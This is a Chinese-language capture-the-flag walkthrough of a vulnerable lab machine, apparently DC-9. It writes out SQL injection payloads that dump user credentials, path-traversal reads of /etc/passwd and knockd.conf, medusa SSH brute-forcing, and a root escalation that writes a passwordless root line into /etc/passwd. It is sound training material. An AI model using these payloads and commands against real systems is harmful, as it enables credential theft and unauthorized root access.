nmap 扫描目标 IP 地址获得开放端口:
这里仔细看下,可以看到 22 是 filtered,80 开放,22 是被过滤这就很奇怪,针对这个,首先你得看下这篇文章:
保护 SSH 的三把锁
不想看的看下边:(强推看下原文)
简单总结下就是:1.换端口 2.指定用户登入 3.敲门服务
这里重点说下敲门服务就是,你想打开 ssh 大门,打开大门方式是念咒语,你得先去打开其它几扇门才可以打开 SSH 服务,敲门服务必须安装敲门守护进程 knockd,敲门配置在 /etc/knockd.conf 文件
好啦,带着上述知识继续上路吧~
尝试加一个单引号,搜索不出,再试试加个 #,页面正常,所以此处有 SQL 注入:
Mary' order by 7#
– result 0
+Mary' union select 1,2,3,4,5,6#
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6#
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'),3,(select group_concat(Username) from Users),(select group_concat(Password) from Users),6#
得到用户名和密码:
admin
856f5de590ef37314e7c3bdf6f8a66dc
数一数是32位,可能是 MD5 ,去 MD5 网站解密,找了多家就这家好用
输入让你无语的 MD5
得到密码:transorbital1,登陆网站
登入之后,细心的你一定可以发现上述 “File does not exit”
猜测存在文件包含漏洞,在 url 地址栏输入:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/passwd
但,好像并没有什么乱用欸,也不能像上次那样在日志文件写入 shell,建立连接,那该怎么办呢?可以想到这里有 22 端口等待我们利用呢?但刚刚我们查看数据的时候,好像只有个 admin ,莫非,还有别的东西?
看看还有哪些表没有发现的:
–查询所有数据库
+Mary' union select (select group_concat(table_schema) from information_schema.tables),2,3,4,5,6#
可以看到除了一个 Staff 数据库之外还有一个 users 数据库
–查询 users 数据库下的表
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema='users'),2,3,4,5,6#
有一张 UserDetails 表
–查列:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),2,3,4,5,6#
–查数据:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),(select group_concat(username) from users.UserDetails),3,4,(select group_concat(password) from users.UserDetails),6#
将数据保存得到:
从用户名和密码你会发现这个哥们是,是刷了几遍的《老友记》啊!!!
回到前面,我们发现 SSH 是被过滤的啊,那怎么进去?或者说?怎么打开 SSH 服务?,这就要用到前面的敲门了。
文件包含查看一下密令:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/knockd.conf
可以看到,欲打开 SSH 的大门,需敲门:7469,8475,9842
敲门后,SSH 就打开了:
但是这么多用户我们应该用哪个呢?手工一个一个试可行但太慢了,可以用 hydra 或者 medusa
medusa -h 192.168.67.43 -U users.txt -P password.txt
等待爆破完成:
分别登录到每个账号:
每个账号 ls 都没有看到什么东西,那有没有隐藏文件呢?
ls -la
发现其他两个账号都没有 secret 这个目录,只有 janitor 有:
打开看看:
cd .secrets-for-putin
ls -la
cat passwords-found-on-post-it-notes.txt
得到一些密码:
medusa -M ssh -h 192.168.67.43 -U users.txt -P sshdd.txt
fredf
B4-Tru3-001
拿去登陆,这是突破口:)
ls -la 没什么东西,看来到这里就是要提权了。
find -perm -4000
:没有东西
枚举一下 sudo 权限:
sudo -l
去看看。
cd /opt/devstuff/dist/test
ls -la
cat test
乱码,这是什么类型的文件?采取故意执行报错的方式得知:
./test
原来是 python 文件,退回到上上层,看到有 test.py:
cat test.py
可以看到 python 文件后面可以跟两个参数:作用是读取第一个文件的内容写入到第二个文件,而且运行的时候是以 root 权限执行的,什么东西写进去之后可以立马提权的 — /etc/passwd
模仿 root 写入即可:
echo "r00t::0:0:root:/root:/bin/bash" > /tmp/k.txt
sudo /opt/devstuff/dist/test/test /tmp/k.txt /etc/passwd
原来必须得要有密钥才可以登陆,否则不可以,我们知道 linux 的加密算法:明文密码和一个叫salt的东西通过函数crypt()完成加密的,我们可以用 openssl 来创建一个名为 r000t 密码为 123 专属 linux 密文:
openssl passwd -1 -salt aa 1234567890
至此完成了 DC 所有系列,well done!
总结:
1.SQL 注入2.密码破解3.细心观察4.linux 写入 /etc/passwd 提权5.ssh 敲门服务6.ssh 爆破7.隐藏文件8.openssl